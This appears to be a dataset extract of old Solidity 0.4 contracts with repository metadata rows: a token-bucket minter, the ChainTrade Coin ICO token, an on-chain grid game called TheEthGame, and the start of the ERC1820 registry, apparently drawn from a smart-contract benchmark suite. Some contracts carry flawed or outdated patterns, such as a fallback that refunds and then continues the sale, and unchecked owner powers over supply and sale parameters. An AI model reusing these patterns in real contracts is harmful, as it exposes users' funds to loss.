owners[_who] = _flag;
if (_flag) {
emit AddOwner(_who);
} else {
emit DeleteOwner(_who);
}
return true;
}
/// @notice Changes the minter role to provided address
/// @param _who is address to change role
/// @param _flag is next role status after success
/// @return A boolean that indicates if the operation was successful.
function _setMinter(address _who, bool _flag) private returns (bool) {
require(minters[_who] != _flag);
minters[_who] = _flag;
if (_flag) {
emit AddMinter(_who);
} else {
emit DeleteMinter(_who);
}
return true;
}
}
interface IMintableToken {
function mint(address _to, uint256 _amount) external returns (bool);
}
/// @title Very simplified implementation of Token Bucket Algorithm to secure token minting
/// @author Mai Abha <maiabha82@gmail.com>
/// @notice Works with tokens implemented Mintable interface
contract ResaleTokenBucket is RBACMixin, IMintableToken {
using SafeMath for uint;
/// @notice Limit maximum amount of available for minting tokens when bucket is full
uint256 public size;
/// @notice Bucket refill rate
uint256 public rate;
/// @notice Stored time of latest minting
/// @dev Each successful call of minting function will update field with call timestamp
uint256 public lastMintTime;
/// @notice Left tokens in bucket on time of latest minting
uint256 public leftOnLastMint;
/// @notice Reference of Mintable token
/// @dev Setup in contructor phase and never change in future
IMintableToken public token;
/// @notice Token Bucket leak event fires on each minting
/// @param to is address of target tokens holder
/// @param left is amount of tokens available in bucket after leak
event Leak(address indexed to, uint256 left);
/// @param _token is address of Mintable token
/// @param _size initial size of token bucket
/// @param _rate initial refill rate (tokens/sec)
constructor (address _token, uint256 _size, uint256 _rate) public {
token = IMintableToken(_token);
size = _size;
rate = _rate;
leftOnLastMint = _size;
}
/// @notice Change size of bucket
/// @dev Require owner role to call
/// @param _size is new size of bucket
/// @return A boolean that indicates if the operation was successful.
function setSize(uint256 _size) public onlyOwner returns (bool) {
size = _size;
return true;
}
/// @notice Change refill rate of bucket
/// @dev Require owner role to call
/// @param _rate is new refill rate of bucket
/// @return A boolean that indicates if the operation was successful.
function setRate(uint256 _rate) public onlyOwner returns (bool) {
rate = _rate;
return true;
}
/// @notice Change size and refill rate of bucket
/// @dev Require owner role to call
/// @param _size is new size of bucket
/// @param _rate is new refill rate of bucket
/// @return A boolean that indicates if the operation was successful.
function setSizeAndRate(uint256 _size, uint256 _rate) public onlyOwner returns (bool) {
return setSize(_size) && setRate(_rate);
}
/// @notice Function to mint tokens
/// @param _to The address that will receive the minted tokens.
/// @param _amount The amount of tokens to mint.
/// @return A boolean that indicates if the operation was successful.
function mint(address _to, uint256 _amount) public onlyMinter returns (bool) {
uint256 available = availableTokens();
require(_amount <= available);
leftOnLastMint = available.sub(_amount);
lastMintTime = now; // solium-disable-line security/no-block-members
require(token.mint(_to, _amount));
return true;
}
/// @notice Function to calculate and get available in bucket tokens
/// @return An amount of available tokens in bucket
function availableTokens() public view returns (uint) {
// solium-disable-next-line security/no-block-members
uint256 timeAfterMint = now.sub(lastMintTime);
uint256 refillAmount = rate.mul(timeAfterMint).add(leftOnLastMint);
return size < refillAmount ? size : refillAmount;
}
}
| 200,182 | 14,121 |
ff742f76837bc301abf80d22c883499f07a4e29b7b50e39b8bc2a799aed0b1f5
| 13,774 |
.sol
|
Solidity
| false |
111633870
|
bokkypoobah/Tokens
|
97950a9e4915596d1ec00887c3c1812cfdb122a2
|
Mainnet-token-contracts-20180610/contracts/0xe3fa177acecfb86721cf6f9f4206bd3bd672d7d5-CTC-ChainTrade_Coin.sol
| 3,273 | 12,727 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
function transferOwnership(address newOwner) onlyOwner {
owner = newOwner;
}
}
contract ERC20 {
function totalSupply() constant returns (uint256);
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value);
function transferFrom(address from, address to, uint256 value);
function approve(address spender, uint256 value);
function allowance(address owner, address spender) constant returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract CTCToken is Ownable, ERC20 {
using SafeMath for uint256;
// Token properties
string public name = "ChainTrade Coin";
string public symbol = "CTC";
uint256 public decimals = 18;
uint256 public numberDecimal18= 1000000000000000000;
uint256 public initialPrice = 1000;
uint256 public _totalSupply = 225000000e18;
uint256 public _icoSupply = 200000000e18;
// Balances for each account
mapping (address => uint256) balances;
//Balances for waiting KYC approving
mapping (address => uint256) balancesWaitingKYC;
// Owner of account approves the transfer of an amount to another account
mapping (address => mapping(address => uint256)) allowed;
// start and end timestamps where investments are allowed (both inclusive)
uint256 public startTime = 1507334400;
uint256 public endTime = 1514764799;
// Wallet Address of Token
address public multisig;
// how many token units a buyer gets per wei
uint256 public RATE;
uint256 public minContribAmount = 0.01 ether;
uint256 public kycLevel = 15 ether;
uint256 minCapBonus = 200 ether;
uint256 public hardCap = 200000000e18;
//number of total tokens sold
uint256 public totalNumberTokenSold=0;
bool public mintingFinished = false;
bool public tradable = true;
bool public active = true;
event MintFinished();
event StartTradable();
event PauseTradable();
event HaltTokenAllOperation();
event ResumeTokenAllOperation();
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
modifier canMint() {
require(!mintingFinished);
_;
}
modifier canTradable() {
require(tradable);
_;
}
modifier isActive() {
require(active);
_;
}
modifier saleIsOpen(){
require(startTime <= getNow() && getNow() <=endTime);
_;
}
// Constructor
// @notice CTCToken Contract
// @return the transaction address
function CTCToken(address _multisig) {
require(_multisig != 0x0);
multisig = _multisig;
RATE = initialPrice;
balances[multisig] = _totalSupply;
owner = msg.sender;
}
// Payable method
// @notice Anyone can buy the tokens on tokensale by paying ether
function () external payable {
if (!validPurchase()){
refundFunds(msg.sender);
}
tokensale(msg.sender);
}
// @notice tokensale
// @param recipient The address of the recipient
// @return the transaction address and send the event as Transfer
function tokensale(address recipient) canMint isActive saleIsOpen payable {
require(recipient != 0x0);
uint256 weiAmount = msg.value;
uint256 nbTokens = weiAmount.mul(RATE).div(1 ether);
uint256 numberCtcToken = nbTokens.mul(numberDecimal18);
require(_icoSupply >= numberCtcToken);
bool percentageBonusApplicable = weiAmount >= minCapBonus;
if (percentageBonusApplicable) {
numberCtcToken = numberCtcToken.mul(11).div(10);
}
totalNumberTokenSold=totalNumberTokenSold.add(numberCtcToken);
_icoSupply = _icoSupply.sub(numberCtcToken);
TokenPurchase(msg.sender, recipient, weiAmount, numberCtcToken);
if(weiAmount< kycLevel) {
updateBalances(recipient, numberCtcToken);
forwardFunds();
} else {
balancesWaitingKYC[recipient] = balancesWaitingKYC[recipient].add(numberCtcToken);
forwardFunds();
}
}
function updateBalances(address receiver, uint256 tokens) internal {
balances[multisig] = balances[multisig].sub(tokens);
balances[receiver] = balances[receiver].add(tokens);
}
//refund back if not KYC approved
function refundFunds(address origin) internal {
origin.transfer(msg.value);
}
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds() internal {
multisig.transfer(msg.value);
}
// @return true if the transaction can buy tokens
function validPurchase() internal constant returns (bool) {
bool withinPeriod = getNow() >= startTime && getNow() <= endTime;
bool nonZeroPurchase = msg.value != 0;
bool minContribution = minContribAmount <= msg.value;
bool notReachedHardCap = hardCap >= totalNumberTokenSold;
return withinPeriod && nonZeroPurchase && minContribution && notReachedHardCap;
}
// @return true if crowdsale current lot event has ended
function hasEnded() public constant returns (bool) {
return getNow() > endTime;
}
function getNow() public constant returns (uint) {
return now;
}
// Set/change Multi-signature wallet address
function changeMultiSignatureWallet (address _multisig) onlyOwner isActive {
multisig = _multisig;
}
// Change ETH/Token exchange rate
function changeTokenRate(uint _tokenPrice) onlyOwner isActive {
RATE = _tokenPrice;
}
// Set Finish Minting.
function finishMinting() onlyOwner isActive {
mintingFinished = true;
MintFinished();
}
// Start or pause tradable to Transfer token
function startTradable(bool _tradable) onlyOwner isActive {
tradable = _tradable;
if (tradable)
StartTradable();
else
PauseTradable();
}
//UpdateICODateTime(uint256 _startTime,)
function updateICODate(uint256 _startTime, uint256 _endTime) public onlyOwner {
startTime = _startTime;
endTime = _endTime;
}
//Change startTime to start ICO manually
function changeStartTime(uint256 _startTime) onlyOwner {
startTime = _startTime;
}
//Change endTime to end ICO manually
function changeEndTime(uint256 _endTime) onlyOwner {
endTime = _endTime;
}
// @return total tokens supplied
function totalSupply() constant returns (uint256) {
return _totalSupply;
}
// @return total tokens supplied
function totalNumberTokenSold() constant returns (uint256) {
return totalNumberTokenSold;
}
//Change total supply
function changeTotalSupply(uint256 totalSupply) onlyOwner {
_totalSupply = totalSupply;
}
// What is the balance of a particular account?
// @param who The address of the particular account
// @return the balanace the particular account
function balanceOf(address who) constant returns (uint256) {
return balances[who];
}
// What is the balance of a particular account?
// @param who The address of the particular account
// @return the balance of KYC waiting to be approved
function balanceOfKyCToBeApproved(address who) constant returns (uint256) {
return balancesWaitingKYC[who];
}
function approveBalancesWaitingKYC(address[] listAddresses) onlyOwner {
for (uint256 i = 0; i < listAddresses.length; i++) {
address client = listAddresses[i];
balances[multisig] = balances[multisig].sub(balancesWaitingKYC[client]);
balances[client] = balances[client].add(balancesWaitingKYC[client]);
totalNumberTokenSold=totalNumberTokenSold.add(balancesWaitingKYC[client]);
_icoSupply = _icoSupply.sub(balancesWaitingKYC[client]);
balancesWaitingKYC[client] = 0;
}
}
function addBonusForOneHolder(address holder, uint256 bonusToken) onlyOwner{
require(holder != 0x0);
balances[multisig] = balances[multisig].sub(bonusToken);
balances[holder] = balances[holder].add(bonusToken);
totalNumberTokenSold=totalNumberTokenSold.add(bonusToken);
_icoSupply = _icoSupply.sub(bonusToken);
}
function addBonusForMultipleHolders(address[] listAddresses, uint256[] bonus) onlyOwner {
require(listAddresses.length == bonus.length);
for (uint256 i = 0; i < listAddresses.length; i++) {
require(listAddresses[i] != 0x0);
balances[listAddresses[i]] = balances[listAddresses[i]].add(bonus[i]);
balances[multisig] = balances[multisig].sub(bonus[i]);
totalNumberTokenSold=totalNumberTokenSold.add(bonus[i]);
_icoSupply = _icoSupply.sub(bonus[i]);
}
}
function modifyCurrentHardCap(uint256 _hardCap) onlyOwner isActive {
hardCap = _hardCap;
}
// @notice send `value` token to `to` from `msg.sender`
// @param to The address of the recipient
// @param value The amount of token to be transferred
// @return the transaction address and send the event as Transfer
function transfer(address to, uint256 value) canTradable isActive {
require (balances[msg.sender] >= value && value > 0);
balances[msg.sender] = balances[msg.sender].sub(value);
balances[to] = balances[to].add(value);
Transfer(msg.sender, to, value);
}
// @notice send `value` token to `to` from `from`
// @param from The address of the sender
// @param to The address of the recipient
// @param value The amount of token to be transferred
// @return the transaction address and send the event as Transfer
function transferFrom(address from, address to, uint256 value) canTradable isActive {
require (allowed[from][msg.sender] >= value && balances[from] >= value && value > 0);
balances[from] = balances[from].sub(value);
balances[to] = balances[to].add(value);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(value);
Transfer(from, to, value);
}
// Allow spender to withdraw from your account, multiple times, up to the value amount.
// If this function is called again it overwrites the current allowance with value.
// @param spender The address of the sender
// @param value The amount to be approved
// @return the transaction address and send the event as Approval
function approve(address spender, uint256 value) isActive {
require (balances[msg.sender] >= value && value > 0);
allowed[msg.sender][spender] = value;
Approval(msg.sender, spender, value);
}
// Check the allowed value for the spender to withdraw from owner
// @param owner The address of the owner
// @param spender The address of the spender
// @return the amount which spender is still allowed to withdraw from owner
function allowance(address _owner, address spender) constant returns (uint256) {
return allowed[_owner][spender];
}
// Get current price of a Token
// @return the price or token value for a ether
function getRate() constant returns (uint256 result) {
return RATE;
}
function getTokenDetail() public constant returns (string, string, uint256, uint256, uint256, uint256, uint256) {
return (name, symbol, startTime, endTime, _totalSupply, _icoSupply, totalNumberTokenSold);
}
}
| 247,734 | 14,122 |
4db191bed630f80293c42cfcfd2badf5b8855e7dcecc702d12bf1bf7287995d8
| 18,513 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0x27ce49590684308d22fe7adcb8b80976701774d3.sol
| 4,741 | 17,397 |
pragma solidity ^0.4.13;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract TheEthGame {
using SafeMath for uint256;
struct Player {
uint256 score;
uint256 lastCellBoughtOnBlockNumber;
uint256 numberOfCellsOwned;
uint256 numberOfCellsBought;
uint256 earnings;
uint256 partialHarmonicSum;
uint256 partialScoreSum;
address referreal;
bytes32 name;
}
struct Cell {
address owner;
uint256 price;
}
address public owner;
uint256 constant private NUMBER_OF_LINES = 6;
uint256 constant private NUMBER_OF_COLUMNS = 6;
uint256 constant private NUMBER_OF_CELLS = NUMBER_OF_COLUMNS * NUMBER_OF_LINES;
uint256 constant private DEFAULT_POINTS_PER_CELL = 3;
uint256 constant private POINTS_PER_NEIGHBOUR = 1;
uint256 constant private CELL_STARTING_PRICE = 0.002 ether;
uint256 constant private BLOCKS_TO_CONFIRM_TO_WIN_THE_GAME = 10000;
uint256 constant private PRICE_INCREASE_PERCENTAGE = uint(2);
uint256 constant private REFERREAL_PERCENTAGE = uint(10);
uint256 constant private POT_PERCENTAGE = uint(30);
uint256 constant private DEVELOPER_PERCENTAGE = uint(5);
uint256 constant private SCORE_PERCENTAGE = uint(25);
uint256 constant private NUMBER_OF_CELLS_PERCENTAGE = uint(30);
Cell[NUMBER_OF_CELLS] cells;
address[] private ranking;
mapping(address => Player) players;
mapping(bytes32 => address) nameToAddress;
uint256 public numberOfCellsBought;
uint256 private totalScore;
uint256 private developersCut = 0 ether;
uint256 private potCut = 0 ether;
uint256 private harmonicSum;
uint256 private totalScoreSum;
address private rankOnePlayerAddress;
uint256 private isFirstSinceBlock;
address public trophyAddress;
event Bought (address indexed _from, address indexed _to);
constructor () public {
owner = msg.sender;
trophyAddress = new TheEthGameTrophy();
}
modifier onlyOwner() {
require(owner == msg.sender);
_;
}
function nextPriceOf (uint256 _cellId) public view returns (uint256 _nextPrice) {
return priceOf(_cellId).mul(100 + PRICE_INCREASE_PERCENTAGE) / 100;
}
function priceOf (uint256 _cellId) public view returns (uint256 _price) {
if (cells[_cellId].price == 0) {
return CELL_STARTING_PRICE;
}
return cells[_cellId].price;
}
function earningsFromNumberOfCells (address _address) internal view returns (uint256 _earnings) {
return harmonicSum.sub(players[_address].partialHarmonicSum).mul(players[_address].numberOfCellsBought);
}
function distributeEarningsBasedOnNumberOfCells (address _address) internal {
players[_address].earnings = players[_address].earnings.add(earningsFromNumberOfCells(_address));
players[_address].partialHarmonicSum = harmonicSum;
}
function earningsFromScore (address _address) internal view returns (uint256 _earnings) {
return totalScoreSum.sub(players[_address].partialScoreSum).mul(scoreOf(_address));
}
function distributeEarningsBasedOnScore (address _newOwner, address _oldOwner) internal {
players[_newOwner].earnings = players[_newOwner].earnings.add(earningsFromScore(_newOwner));
players[_newOwner].partialScoreSum = totalScoreSum;
if (_oldOwner != address(0)) {
players[_oldOwner].earnings = players[_oldOwner].earnings.add(earningsFromScore(_oldOwner));
players[_oldOwner].partialScoreSum = totalScoreSum;
}
}
function earningsOfPlayer () public view returns (uint256 _wei) {
return players[msg.sender].earnings.add(earningsFromScore(msg.sender)).add(earningsFromNumberOfCells(msg.sender));
}
function getRankOnePlayer (address _oldOwner) internal view returns (address _address, uint256 _oldOwnerIndex) {
address rankOnePlayer;
uint256 oldOwnerIndex;
for (uint256 i = 0; i < ranking.length; i++) {
if (scoreOf(ranking[i]) > scoreOf(rankOnePlayer)) {
rankOnePlayer = ranking[i];
} else if (scoreOf(ranking[i]) == scoreOf(rankOnePlayer) && players[ranking[i]].lastCellBoughtOnBlockNumber > players[rankOnePlayer].lastCellBoughtOnBlockNumber) {
rankOnePlayer = ranking[i];
}
if (ranking[i] == _oldOwner) {
oldOwnerIndex = i;
}
}
return (rankOnePlayer, oldOwnerIndex);
}
function buy (uint256 _cellId, address _referreal) payable public {
require(msg.value >= priceOf(_cellId));
require(!isContract(msg.sender));
require(_cellId < NUMBER_OF_CELLS);
require(msg.sender != address(0));
require(!isGameFinished());
require(ownerOf(_cellId) != msg.sender);
require(msg.sender != _referreal);
address oldOwner = ownerOf(_cellId);
address newOwner = msg.sender;
uint256 price = priceOf(_cellId);
uint256 excess = msg.value.sub(price);
bool isReferrealDistributed = distributeToReferreal(price, _referreal);
if (numberOfCellsBought > 0) {
harmonicSum = harmonicSum.add(price.mul(NUMBER_OF_CELLS_PERCENTAGE) / (numberOfCellsBought * 100));
if (isReferrealDistributed) {
totalScoreSum = totalScoreSum.add(price.mul(SCORE_PERCENTAGE) / (totalScore * 100));
} else {
totalScoreSum = totalScoreSum.add(price.mul(SCORE_PERCENTAGE.add(REFERREAL_PERCENTAGE)) / (totalScore * 100));
}
}else{
potCut = potCut.add(price.mul(NUMBER_OF_CELLS_PERCENTAGE.add(SCORE_PERCENTAGE)) / 100);
}
numberOfCellsBought++;
distributeEarningsBasedOnNumberOfCells(newOwner);
players[newOwner].numberOfCellsBought++;
players[newOwner].numberOfCellsOwned++;
if (ownerOf(_cellId) != address(0)) {
players[oldOwner].numberOfCellsOwned--;
}
players[newOwner].lastCellBoughtOnBlockNumber = block.number;
address oldRankOnePlayer = rankOnePlayerAddress;
(uint256 newOwnerScore, uint256 oldOwnerScore) = calculateScoresIfCellIsBought(newOwner, oldOwner, _cellId);
distributeEarningsBasedOnScore(newOwner, oldOwner);
totalScore = totalScore.sub(scoreOf(newOwner).add(scoreOf(oldOwner)));
players[newOwner].score = newOwnerScore;
players[oldOwner].score = oldOwnerScore;
totalScore = totalScore.add(scoreOf(newOwner).add(scoreOf(oldOwner)));
cells[_cellId].price = nextPriceOf(_cellId);
if (players[newOwner].numberOfCellsOwned == 1) {
ranking.push(newOwner);
}
if (oldOwner == rankOnePlayerAddress || (players[oldOwner].numberOfCellsOwned == 0 && oldOwner != address(0))) {
(address rankOnePlayer, uint256 oldOwnerIndex) = getRankOnePlayer(oldOwner);
if (players[oldOwner].numberOfCellsOwned == 0 && oldOwner != address(0)) {
delete ranking[oldOwnerIndex];
}
rankOnePlayerAddress = rankOnePlayer;
}else{
if (scoreOf(newOwner) >= scoreOf(rankOnePlayerAddress)) {
rankOnePlayerAddress = newOwner;
}
}
if (rankOnePlayerAddress != oldRankOnePlayer) {
isFirstSinceBlock = block.number;
}
developersCut = developersCut.add(price.mul(DEVELOPER_PERCENTAGE) / 100);
potCut = potCut.add(price.mul(POT_PERCENTAGE) / 100);
_transfer(oldOwner, newOwner, _cellId);
emit Bought(oldOwner, newOwner);
if (excess > 0) {
newOwner.transfer(excess);
}
}
function distributeToReferreal (uint256 _price, address _referreal) internal returns (bool _isDstributed) {
if (_referreal != address(0) && _referreal != msg.sender) {
players[msg.sender].referreal = _referreal;
}
if (players[msg.sender].referreal != address(0)) {
address ref = players[msg.sender].referreal;
players[ref].earnings = players[ref].earnings.add(_price.mul(REFERREAL_PERCENTAGE) / 100);
return true;
}
return false;
}
function getPlayers () external view returns(uint256[] _scores, uint256[] _lastCellBoughtOnBlock, address[] _addresses, bytes32[] _names) {
uint256[] memory scores = new uint256[](ranking.length);
address[] memory addresses = new address[](ranking.length);
uint256[] memory lastCellBoughtOnBlock = new uint256[](ranking.length);
bytes32[] memory names = new bytes32[](ranking.length);
for (uint256 i = 0; i < ranking.length; i++) {
Player memory p = players[ranking[i]];
scores[i] = p.score;
addresses[i] = ranking[i];
lastCellBoughtOnBlock[i] = p.lastCellBoughtOnBlockNumber;
names[i] = p.name;
}
return (scores, lastCellBoughtOnBlock, addresses, names);
}
function getCells () external view returns (uint256[] _prices, uint256[] _nextPrice, address[] _owner, bytes32[] _names) {
uint256[] memory prices = new uint256[](NUMBER_OF_CELLS);
address[] memory owners = new address[](NUMBER_OF_CELLS);
bytes32[] memory names = new bytes32[](NUMBER_OF_CELLS);
uint256[] memory nextPrices = new uint256[](NUMBER_OF_CELLS);
for (uint256 i = 0; i < NUMBER_OF_CELLS; i++) {
prices[i] = priceOf(i);
owners[i] = ownerOf(i);
names[i] = players[ownerOf(i)].name;
nextPrices[i] = nextPriceOf(i);
}
return (prices, nextPrices, owners, names);
}
function getPlayer () external view returns (bytes32 _name, uint256 _score, uint256 _earnings, uint256 _numberOfCellsBought) {
return (players[msg.sender].name, players[msg.sender].score, earningsOfPlayer(), players[msg.sender].numberOfCellsBought);
}
function getCurrentPotSize () public view returns (uint256 _wei) {
return potCut;
}
function getCurrentWinner () public view returns (address _address) {
return rankOnePlayerAddress;
}
function getNumberOfBlocksRemainingToWin () public view returns (int256 _numberOfBlocks) {
return int256(BLOCKS_TO_CONFIRM_TO_WIN_THE_GAME) - int256(block.number.sub(isFirstSinceBlock));
}
function scoreOf (address _address) public view returns (uint256 _score) {
return players[_address].score;
}
function ownerOf (uint256 _cellId) public view returns (address _owner) {
return cells[_cellId].owner;
}
function isGameFinished() public view returns (bool _isGameFinished) {
return rankOnePlayerAddress != address(0) && getNumberOfBlocksRemainingToWin() < 0;
}
function calculateScoresIfCellIsBought (address _newOwner, address _oldOwner, uint256 _cellId) internal view returns (uint256 _newOwnerScore, uint256 _oldOwnerScore) {
uint256 oldOwnerScoreAdjustment = DEFAULT_POINTS_PER_CELL;
uint256 newOwnerScoreAdjustment = DEFAULT_POINTS_PER_CELL;
oldOwnerScoreAdjustment = oldOwnerScoreAdjustment.add(calculateNumberOfNeighbours(_cellId, _oldOwner).mul(POINTS_PER_NEIGHBOUR).mul(2));
newOwnerScoreAdjustment = newOwnerScoreAdjustment.add(calculateNumberOfNeighbours(_cellId, _newOwner).mul(POINTS_PER_NEIGHBOUR).mul(2));
if (_oldOwner == address(0)) {
oldOwnerScoreAdjustment = 0;
}
return (scoreOf(_newOwner).add(newOwnerScoreAdjustment), scoreOf(_oldOwner).sub(oldOwnerScoreAdjustment));
}
function calculateNumberOfNeighbours(uint256 _cellId, address _address) internal view returns (uint256 _numberOfNeighbours) {
uint256 numberOfNeighbours;
(uint256 top, uint256 bottom, uint256 left, uint256 right) = getNeighbourhoodOf(_cellId);
if (top != NUMBER_OF_CELLS && ownerOf(top) == _address) {
numberOfNeighbours = numberOfNeighbours.add(1);
}
if (bottom != NUMBER_OF_CELLS && ownerOf(bottom) == _address) {
numberOfNeighbours = numberOfNeighbours.add(1);
}
if (left != NUMBER_OF_CELLS && ownerOf(left) == _address) {
numberOfNeighbours = numberOfNeighbours.add(1);
}
if (right != NUMBER_OF_CELLS && ownerOf(right) == _address) {
numberOfNeighbours = numberOfNeighbours.add(1);
}
return numberOfNeighbours;
}
function getNeighbourhoodOf(uint256 _cellId) internal pure returns (uint256 _top, uint256 _bottom, uint256 _left, uint256 _right) {
uint256 topCellId = NUMBER_OF_CELLS;
if(_cellId >= NUMBER_OF_LINES){
topCellId = _cellId.sub(NUMBER_OF_LINES);
}
uint256 bottomCellId = _cellId.add(NUMBER_OF_LINES);
if (bottomCellId >= NUMBER_OF_CELLS) {
bottomCellId = NUMBER_OF_CELLS;
}
uint256 leftCellId = NUMBER_OF_CELLS;
if ((_cellId % NUMBER_OF_LINES) != 0) {
leftCellId = _cellId.sub(1);
}
uint256 rightCellId = _cellId.add(1);
if ((rightCellId % NUMBER_OF_LINES) == 0) {
rightCellId = NUMBER_OF_CELLS;
}
return (topCellId, bottomCellId, leftCellId, rightCellId);
}
function _transfer(address _from, address _to, uint256 _cellId) internal {
require(_cellId < NUMBER_OF_CELLS);
require(ownerOf(_cellId) == _from);
require(_to != address(0));
require(_to != address(this));
cells[_cellId].owner = _to;
}
function withdrawPot(string _message) public {
require(!isContract(msg.sender));
require(msg.sender != owner);
require(rankOnePlayerAddress == msg.sender);
require(isGameFinished());
uint256 toWithdraw = potCut;
potCut = 0;
msg.sender.transfer(toWithdraw);
TheEthGameTrophy trophy = TheEthGameTrophy(trophyAddress);
trophy.award(msg.sender, _message);
}
function withdrawDevelopersCut () onlyOwner() public {
uint256 toWithdraw = developersCut;
developersCut = 0;
owner.transfer(toWithdraw);
}
function withdrawEarnings () public {
distributeEarningsBasedOnScore(msg.sender, address(0));
distributeEarningsBasedOnNumberOfCells(msg.sender);
uint256 toWithdraw = earningsOfPlayer();
players[msg.sender].earnings = 0;
msg.sender.transfer(toWithdraw);
}
function setName(bytes32 _name) public {
if (nameToAddress[_name] != address(0)) {
return;
}
players[msg.sender].name = _name;
nameToAddress[_name] = msg.sender;
}
function nameOf(address _address) external view returns(bytes32 _name) {
return players[_address].name;
}
function addressOf(bytes32 _name) external view returns (address _address) {
return nameToAddress[_name];
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
contract TheEthGameTrophy {
string public name;
string public description;
string public message;
address public creator;
address public owner;
address public winner;
uint public rank;
bool private isAwarded = false;
event Award(uint256 indexed _blockNumber, uint256 indexed _timestamp, address indexed _owner);
event Transfer (address indexed _from, address indexed _to);
constructor () public {
name = "The Eth Game Winner";
description = "2019-08-17";
rank = 1;
creator = msg.sender;
}
function name() constant public returns (string _name) {
return name;
}
function description() constant public returns (string _description) {
return description;
}
function message() constant public returns (string _message) {
return message;
}
function creator() constant public returns (address _creator) {
return creator;
}
function owner() constant public returns (address _owner) {
return owner;
}
function winner() constant public returns (address _winner) {
return winner;
}
function rank() constant public returns (uint _rank) {
return rank;
}
function award(address _address, string _message) public {
require(msg.sender == creator && !isAwarded);
isAwarded = true;
owner = _address;
winner = _address;
message = _message;
emit Award(block.number, block.timestamp, _address);
}
function transfer(address _to) private returns (bool success) {
require(msg.sender == owner);
owner = _to;
emit Transfer(msg.sender, _to);
return true;
}
}
| 165,468 | 14,123 |
abd04913d2c9ea902587f3d3613c86f7fcf63f71a0f4bc666769622608cb2d8d
| 14,462 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/18/1820a4B7618BdE71Dce8cdc73aAB6C95905faD24_ERC1820Registry.sol
| 2,298 | 9,258 |
pragma solidity 0.5.3;
// IV is value needed to have a vanity address starting with '0x1820'.
// IV: 53759
/// @dev The interface a contract MUST implement if it is the implementer of
/// some (other) interface for any address other than itself.
interface ERC1820ImplementerInterface {
/// @param interfaceHash keccak256 hash of the name of the interface
/// @param addr Address for which the contract will implement the interface
function canImplementInterfaceForAddress(bytes32 interfaceHash, address addr) external view returns(bytes32);
}
/// @title ERC1820 Pseudo-introspection Registry Contract
/// @author Jordi Baylina and Jacques Dafflon
/// @notice This contract is the official implementation of the ERC1820 Registry.
/// @notice For more details, see https://eips.ethereum.org/EIPS/eip-1820
contract ERC1820Registry {
/// @notice ERC165 Invalid ID.
bytes4 constant internal INVALID_ID = 0xffffffff;
bytes4 constant internal ERC165ID = 0x01ffc9a7;
bytes32 constant internal ERC1820_ACCEPT_MAGIC = keccak256(abi.encodePacked("ERC1820_ACCEPT_MAGIC"));
/// @notice mapping from addresses and interface hashes to their implementers.
mapping(address => mapping(bytes32 => address)) internal interfaces;
/// @notice mapping from addresses to their manager.
mapping(address => address) internal managers;
/// @notice flag for each address and erc165 interface to indicate if it is cached.
mapping(address => mapping(bytes4 => bool)) internal erc165Cached;
/// @notice Indicates a contract is the 'implementer' of 'interfaceHash' for 'addr'.
event InterfaceImplementerSet(address indexed addr, bytes32 indexed interfaceHash, address indexed implementer);
/// @notice Indicates 'newManager' is the address of the new manager for 'addr'.
event ManagerChanged(address indexed addr, address indexed newManager);
/// @notice Query if an address implements an interface and through which contract.
/// @param _addr Address being queried for the implementer of an interface.
/// (If '_addr' is the zero address then 'msg.sender' is assumed.)
/// @param _interfaceHash Keccak256 hash of the name of the interface as a string.
/// E.g., 'web3.utils.keccak256("ERC777TokensRecipient")' for the 'ERC777TokensRecipient' interface.
/// @return The address of the contract which implements the interface '_interfaceHash' for '_addr'
/// or '0' if '_addr' did not register an implementer for this interface.
function getInterfaceImplementer(address _addr, bytes32 _interfaceHash) external view returns (address) {
address addr = _addr == address(0) ? msg.sender : _addr;
if (isERC165Interface(_interfaceHash)) {
bytes4 erc165InterfaceHash = bytes4(_interfaceHash);
return implementsERC165Interface(addr, erc165InterfaceHash) ? addr : address(0);
}
return interfaces[addr][_interfaceHash];
}
/// @notice Sets the contract which implements a specific interface for an address.
/// Only the manager defined for that address can set it.
/// (Each address is the manager for itself until it sets a new manager.)
/// @param _addr Address for which to set the interface.
/// (If '_addr' is the zero address then 'msg.sender' is assumed.)
/// @param _interfaceHash Keccak256 hash of the name of the interface as a string.
/// E.g., 'web3.utils.keccak256("ERC777TokensRecipient")' for the 'ERC777TokensRecipient' interface.
/// @param _implementer Contract address implementing '_interfaceHash' for '_addr'.
function setInterfaceImplementer(address _addr, bytes32 _interfaceHash, address _implementer) external {
address addr = _addr == address(0) ? msg.sender : _addr;
require(getManager(addr) == msg.sender, "Not the manager");
